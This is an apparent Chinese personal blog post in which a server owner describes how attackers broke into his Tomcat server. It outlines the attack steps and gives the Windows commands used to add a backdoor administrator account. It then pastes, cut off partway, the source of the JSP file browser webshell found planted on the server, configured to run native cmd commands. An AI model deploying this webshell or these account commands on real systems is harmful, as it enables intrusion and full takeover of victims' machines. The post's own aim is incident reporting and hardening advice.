昨天我的服务器被攻击了,我初步怀疑是通过tomcat的安全漏洞进去的,所以发布了上篇日志进行修补。
刚才工程师告诉我是通过暴力破解ftp进去的,并且新建win用户,搞乱的系统。
我发现我的tomcat服务路径下多了两个 war包
一个是改名为101的,一个名为killbase的
两个路径里都只有一个jsp文件 但代码相同(看来是被两个人攻击了)
该代码大概是在你的服务器上进行一些 io操作,删点什么,添点什么的(-_-|||)
入侵的步骤大概如下(莫有仔细研究)
1:找到你的IP
2:查看你的端口 主要是80或者是8080 一般的都默认是这两个端口
3:用工具 apache tomcat scan.exe的工具 破解你的 tomcat 管理员用户名和密码
4:有了用户名和密码 就开始往你的服务路径下上传jsp木马 (这个应该都会 就是发布项目嘛-_-!)
5:开始运行 随意操作你的目录
==============================
新加:
刚才我自己做了个试验,自己攻击自己。
前提:知道自己的IP(废话 127.0.0.1)
然后用 apache tomcat scan.exe的工具 搜索密码
我的tomcat密码 弄的比较简单 admin123
apache tomcat scan.exe里有很多密码的匹配库 都是些简单常见的
然后发布木马成功
在jsp木马中 可以直接执行cmd命令 方法在下面的代码中
于是乎:
查看你的ip
看你开的端口 一般看开没开3389 开了直接就
net user 用户名 密码 /add
net localgroup administrators 用户名 add
Ok了 我想干嘛就干嘛了 登录你的远程桌面
所以建议,一定要把tomcat的密码设置复杂
================================
具体能毁成什么样子,我没有尝试,还好2为仁兄在我的服务器上也没搞毁灭性的运动
防范方法按照我的上篇日志写的去做 效果还可以 (我自己攻击自己 没有拿下,当然我跟人家“黑”手水平不一样)
虽然被攻击,心里有些不爽,但看了下jsp木马的代码,有很多地方自己都没有涉及到,顺便也学学新技术(嘿嘿)
源码如下:(别尝试攻击别人啊,积德,经查资料 这是个德国人写的)
<%--
jsp File browser 1.1a
Copyright (C) 2003,2004, Boris von Loesch
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2 of the License, or (at your option)
any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
this program; if not, write to the
Free Software Foundation, Inc.,
59 Temple Place, Suite 330,
Boston, MA 02111-1307 USA
- Description: jsp File browser v1.1a -- This JSP program allows remote web-based
file access and manipulation. You can copy, create, move and delete files.
Text files can be edited and groups of files and folders can be downloaded
as a single zip file that's created on the fly.
- Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
--%>
<%@page import="java.util.*,
java.net.*,
java.text.*,
java.util.zip.*,
java.io.*"
%>
<%!
//FEATURES
private static final boolean NATIVE_COMMANDS = true;
//Allow browsing and file manipulation only in certain directories
private static final boolean RESTRICT_BROWSING = false;
//If true, the user is allowed to browse only in RESTRICT_PATH,
//if false, the user is allowed to browse all directories besides RESTRICT_PATH
private static final boolean RESTRICT_WHITELIST = false;
//Paths, sperated by semicolon
//private static final String RESTRICT_PATH = "C://CODE;E://"; //Win32: Case important!!
private static final String RESTRICT_PATH = "/etc;/var";
//The refresh time in seconds of the upload monitor window
private static final int UPLOAD_MONITOR_REFRESH = 2;
//The number of colums for the edit field
private static final int EDITFIELD_COLS = 85;
//The number of rows for the edit field
private static final int EDITFIELD_ROWS = 30;
//Open a new window to view a file
private static final boolean USE_POPUP = true;
/**
* If USE_DIR_PREVIEW = true, then for every directory a tooltip will be
* created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.
* This can yield to performance issues. Turn it of, if the directory loads to slow.
*/
private static final boolean USE_DIR_PREVIEW = true;
private static final int DIR_PREVIEW_NUMBER = 10;
/**
* The name of an optional CSS Stylesheet file
*/
private static final String CSS_NAME = "Browser.css";
/**
* The compression level for zip file creation (0-9)
* 0 = No compression
* 1 = Standard compression (Very fast)
* ...
* 9 = Best compression (Very slow)
*/
private static final int COMPRESSION_LEVEL = 1;
/**
* The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the
* server runs on a windows platform, to avoid a message box, if you try to access
* an empty removable drive (See KNOWN BUGS in Readme.txt).
*/
private static final String[] FORBIDDEN_DRIVES = {"a://"};
/**
* Command of the shell interpreter and the parameter to run a programm
*/
private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
//private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
/**
* Max time in ms a process is allowed to run, before it will be terminated
*/
private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
//Button names
private static final String SAVE_AS_ZIP = "Download selected files as zip";
private static final String RENAME_FILE = "Rename File";
private static final String DELETE_FILES = "Delete selected files";
private static final String CREATE_DIR = "Create Dir";
private static final String CREATE_FILE = "Create File";
private static final String MOVE_FILES = "Move Files";
private static final String COPY_FILES = "Copy Files";
//Normally you should not change anything after this line
//----------------------------------------------------------------------------------
//Change this to locate the tempfile directory for upload (not longer needed)
private static String tempdir = ".";
private static String VERSION_NR = "1.1a";
private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
public class UplInfo {
public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;
public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}
public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}
public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
long uprate = currSize * 1000 / time;
return convertFileSize(uprate) + "/s";
}
else return "n/a";
}
public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}
public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
}
public class FileInfo {
public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
public static class UploadMonitor {
static Hashtable uploadTable = new Hashtable();
static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(String fName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}
// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {
private final String lineSeparator = System.getProperty("line.separator", "/n");
private final int ONE_MB = 1024 * 1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"/"" + boundary + "/" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";/r/n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
"Bad data in second line");
stFields = new StringTokenizer(stLine.nextToken(), "=/"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=/"");
if (stFields.countTokens() > 1) {
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName = value;
isFile = true;
}
else {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
boolean skipBlankLine = true;
if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in third line");
stLine.nextToken(); // Content-Type
fileInfo.fileContentType = stLine.nextToken();
}
}
if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
}
try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent) {
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
}
if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
}
else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
}//end try
catch (IOException e) {
throw e;
}
}
return dataTable;
}
/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}
/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
line = new String(b, 0, read);
if ((index = line.indexOf('/n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('//');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('//', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser
/**
* This class is a comparator to sort the filenames and dirs
*/
class FileComp implements Comparator {
int mode;
int sign;
FileComp() {
this.mode = 1;
this.sign = 1;
}
/**
* @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type
* The default